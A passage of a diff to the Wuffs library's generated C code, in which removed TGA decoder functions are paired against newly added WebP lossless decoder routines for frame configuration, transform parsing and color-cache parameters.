{ +- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_frame_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -59751,13 +74248,13 @@ wuffs_tga__decoder__decode_frame_config( + } + + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + + goto exit; +@@ -59768,12 +74265,12 @@ wuffs_tga__decoder__decode_frame_config( + return status; + } + +-// -------- func tga.decoder.do_decode_frame_config ++// -------- func webp.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__do_decode_frame_config( ++ wuffs_webp__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); +@@ -59789,7 +74286,7 @@ wuffs_tga__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +@@ -59799,7 +74296,7 @@ wuffs_tga__decoder__do_decode_frame_config( + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_tga__decoder__do_decode_image_config(self, NULL, a_src); ++ status = wuffs_webp__decoder__do_decode_image_config(self, NULL, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +@@ -59831,20 +74328,20 @@ wuffs_tga__decoder__do_decode_frame_config( + 0u, + self->private_impl.f_frame_config_io_position, + 0u, +- self->private_impl.f_opaque, + false, +- 4278190080u); ++ false, ++ 0u); + } + self->private_impl.f_call_sequence = 64u; + + ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; ++ self->private_impl.p_do_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -59855,12 +74352,12 @@ wuffs_tga__decoder__do_decode_frame_config( + return status; + } + +-// -------- func tga.decoder.decode_frame ++// -------- func webp.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__decode_frame( ++ wuffs_webp__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__pixel_blend a_blend, +@@ -59889,13 +74386,13 @@ wuffs_tga__decoder__decode_frame( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame(self, ++ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_frame(self, + a_dst, + a_src, + a_blend, +@@ -59904,64 +74401,627 @@ wuffs_tga__decoder__decode_frame( + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func webp.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_frame( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_has_more = 0; ++ uint32_t v_width = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ wuffs_base__slice_u8 v_tile_data = {0}; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__slice_u8 v_pix = {0}; ++ uint32_t v_which = 0; ++ uint32_t v_transform_type = 0; ++ uint64_t v_ti = 0; ++ uint64_t v_tj = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_width = self->private_data.s_do_decode_frame.v_width; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_webp__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ self->private_impl.f_seen_transform[0u] = false; ++ self->private_impl.f_seen_transform[1u] = false; ++ self->private_impl.f_seen_transform[2u] = false; ++ self->private_impl.f_seen_transform[3u] = false; ++ self->private_impl.f_n_transforms = 0u; ++ while (true) { ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_has_more = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_has_more == 0u) { ++ break; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_transform(self, a_src, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ v_width = self->private_impl.f_width; ++ if (self->private_impl.f_seen_transform[3u]) { ++ v_width = self->private_impl.f_color_indexing_width; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_overall_color_cache_bits = self->private_impl.f_color_cache_bits; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ status = wuffs_webp__decoder__decode_hg_table(self, a_src, v_width, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_color_cache_bits = self->private_impl.f_overall_color_cache_bits; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, self->private_impl.f_overall_n_huffman_groups); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ while (true) { ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_color_indexing)) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))) || ++ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || ++ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len))) || ++ (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_dst = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_color_indexing)), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))); ++ v_tile_data = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_webp__decoder__decode_pixels(self, ++ v_dst, ++ a_src, ++ v_width, ++ self->private_impl.f_height, ++ v_tile_data, ++ self->private_impl.f_overall_tile_size_log2); ++ v_status = t_1; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ } ++ if (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ v_pix = wuffs_base__slice_u8__subslice_j(a_workbuf, ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u]))); ++ v_which = self->private_impl.f_n_transforms; ++ while (v_which > 0u) { ++ v_which -= 1u; ++ v_transform_type = ((uint32_t)(self->private_impl.f_transform_type[v_which])); ++ v_tile_data = wuffs_base__utility__empty_slice_u8(); ++ if (v_transform_type < 2u) { ++ v_ti = ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])); ++ v_tj = ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)])); ++ if ((v_ti <= v_tj) && (v_tj <= ((uint64_t)(a_workbuf.len)))) { ++ v_tile_data = wuffs_base__slice_u8__subslice_ij(a_workbuf, v_ti, v_tj); ++ } ++ } ++ if (v_transform_type == 0u) { ++ wuffs_webp__decoder__apply_transform_predictor(self, v_pix, v_tile_data); ++ } else if (v_transform_type == 1u) { ++ wuffs_webp__decoder__apply_transform_cross_color(self, v_pix, v_tile_data); ++ } else if (v_transform_type == 2u) { ++ wuffs_webp__decoder__apply_transform_subtract_green(self, v_pix); ++ } else { ++ wuffs_webp__decoder__apply_transform_color_indexing(self, v_pix); ++ v_width = self->private_impl.f_width; ++ } ++ } ++ v_status = wuffs_webp__decoder__swizzle(self, a_dst, v_pix, a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_width = v_width; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.decode_transform ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_transform( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_c8 = 0; ++ uint32_t v_transform_type = 0; ++ uint32_t v_tile_size_log2 = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_transform; ++ if (coro_susp_point) { ++ v_transform_type = self->private_data.s_decode_transform.v_transform_type; ++ v_tile_size_log2 = self->private_data.s_decode_transform.v_tile_size_log2; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_n_bits < 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (self->private_impl.f_n_bits >= 2u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_transform_type = (self->private_impl.f_bits & 3u); ++ self->private_impl.f_bits >>= 2u; ++ self->private_impl.f_n_bits -= 2u; ++ if (self->private_impl.f_seen_transform[v_transform_type] || (self->private_impl.f_n_transforms >= 4u)) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_transform); ++ goto exit; ++ } else if (self->private_impl.f_seen_transform[3u]) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_transform_after_color_indexing_transform); ++ goto exit; ++ } ++ self->private_impl.f_seen_transform[v_transform_type] = true; ++ self->private_impl.f_transform_type[self->private_impl.f_n_transforms] = ((uint8_t)(v_transform_type)); ++ self->private_impl.f_n_transforms += 1u; ++ if (v_transform_type < 2u) { ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_tile_size_log2 = ((self->private_impl.f_bits & 7u) + 2u); ++ self->private_impl.f_transform_tile_size_log2[v_transform_type] = ((uint8_t)(v_tile_size_log2)); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ while (true) { ++ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)])) > ((uint64_t)(a_workbuf.len)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ goto exit; ++ } ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_webp__decoder__decode_pixels(self, ++ wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 1u)])), ++ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[(v_transform_type + 2u)]))), ++ a_src, ++ ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ } else if (v_transform_type == 2u) { ++ } else { ++ if (self->private_impl.f_n_bits < 8u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (self->private_impl.f_n_bits >= 8u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ self->private_impl.f_color_indexing_palette_size = ((self->private_impl.f_bits & 255u) + 1u); ++ self->private_impl.f_bits >>= 8u; ++ self->private_impl.f_n_bits -= 8u; ++ if (self->private_impl.f_color_indexing_palette_size <= 2u) { ++ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 7u) / 8u); ++ self->private_impl.f_transform_tile_size_log2[3u] = 3u; ++ } else if (self->private_impl.f_color_indexing_palette_size <= 4u) { ++ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 3u) / 4u); ++ self->private_impl.f_transform_tile_size_log2[3u] = 2u; ++ } else if (self->private_impl.f_color_indexing_palette_size <= 16u) { ++ self->private_impl.f_color_indexing_width = ((self->private_impl.f_width + 1u) / 2u); ++ self->private_impl.f_transform_tile_size_log2[3u] = 1u; ++ } else { ++ self->private_impl.f_color_indexing_width = self->private_impl.f_width; ++ self->private_impl.f_transform_tile_size_log2[3u] = 0u; ++ } ++ if (self->private_impl.f_width >= self->private_impl.f_color_indexing_width) { ++ self->private_impl.f_workbuf_offset_for_color_indexing = (4u * (self->private_impl.f_width - self->private_impl.f_color_indexing_width) * self->private_impl.f_height); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_webp__decoder__decode_pixels(self, ++ wuffs_base__make_slice_u8(self->private_data.f_palette, (4u * self->private_impl.f_color_indexing_palette_size)), ++ a_src, ++ self->private_impl.f_color_indexing_palette_size, ++ 1u, ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ wuffs_private_impl__bulk_memset(&self->private_data.f_palette[(4u * self->private_impl.f_color_indexing_palette_size)], (1024u - (4u * self->private_impl.f_color_indexing_palette_size)), 0u); ++ v_p = wuffs_base__make_slice_u8(self->private_data.f_palette, (4u * self->private_impl.f_color_indexing_palette_size)); ++ while (((uint64_t)(v_p.len)) >= 8u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_p.ptr[4u] += v_p.ptr[0u]; ++ v_p.ptr[5u] += v_p.ptr[1u]; ++ v_p.ptr[6u] += v_p.ptr[2u]; ++ v_p.ptr[7u] += v_p.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_p = wuffs_base__slice_u8__subslice_i(v_p, 4u); ++ } ++ } ++ ++ ok: ++ self->private_impl.p_decode_transform = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_transform = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_transform.v_transform_type = v_transform_type; ++ self->private_data.s_decode_transform.v_tile_size_log2 = v_tile_size_log2; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.decode_color_cache_parameters ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_color_cache_parameters( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_use_color_cache = 0; ++ uint32_t v_color_cache_bits = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_color_cache_parameters; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_use_color_cache = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ self->private_impl.f_color_cache_bits = 0u; ++ if (v_use_color_cache != 0u) { ++ if (self->private_impl.f_n_bits < 4u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_color_cache_bits = (self->private_impl.f_bits & 15u); ++ self->private_impl.f_bits >>= 4u; ++ self->private_impl.f_n_bits -= 4u; ++ if ((v_color_cache_bits < 1u) || (11u < v_color_cache_bits)) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_color_cache); + goto exit; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ self->private_impl.f_color_cache_bits = v_color_cache_bits; + } + ++ goto ok; + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_decode_color_cache_parameters = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_decode_color_cache_parameters = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func tga.decoder.do_decode_frame ++// -------- func webp.decoder.decode_hg_table + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame( +- wuffs_tga__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_webp__decoder__decode_hg_table( ++ wuffs_webp__decoder* self, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++ uint32_t a_width, ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + + wuffs_base__status v_status = wuffs_base__make_status(NULL); +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint32_t v_dst_x = 0; +- uint32_t v_dst_y = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_dst_start = 0; +- wuffs_base__slice_u8 v_src_palette = {0}; +- uint64_t v_mark = 0; +- uint64_t v_num_pixels64 = 0; +- uint32_t v_num_pixels32 = 0; +- uint32_t 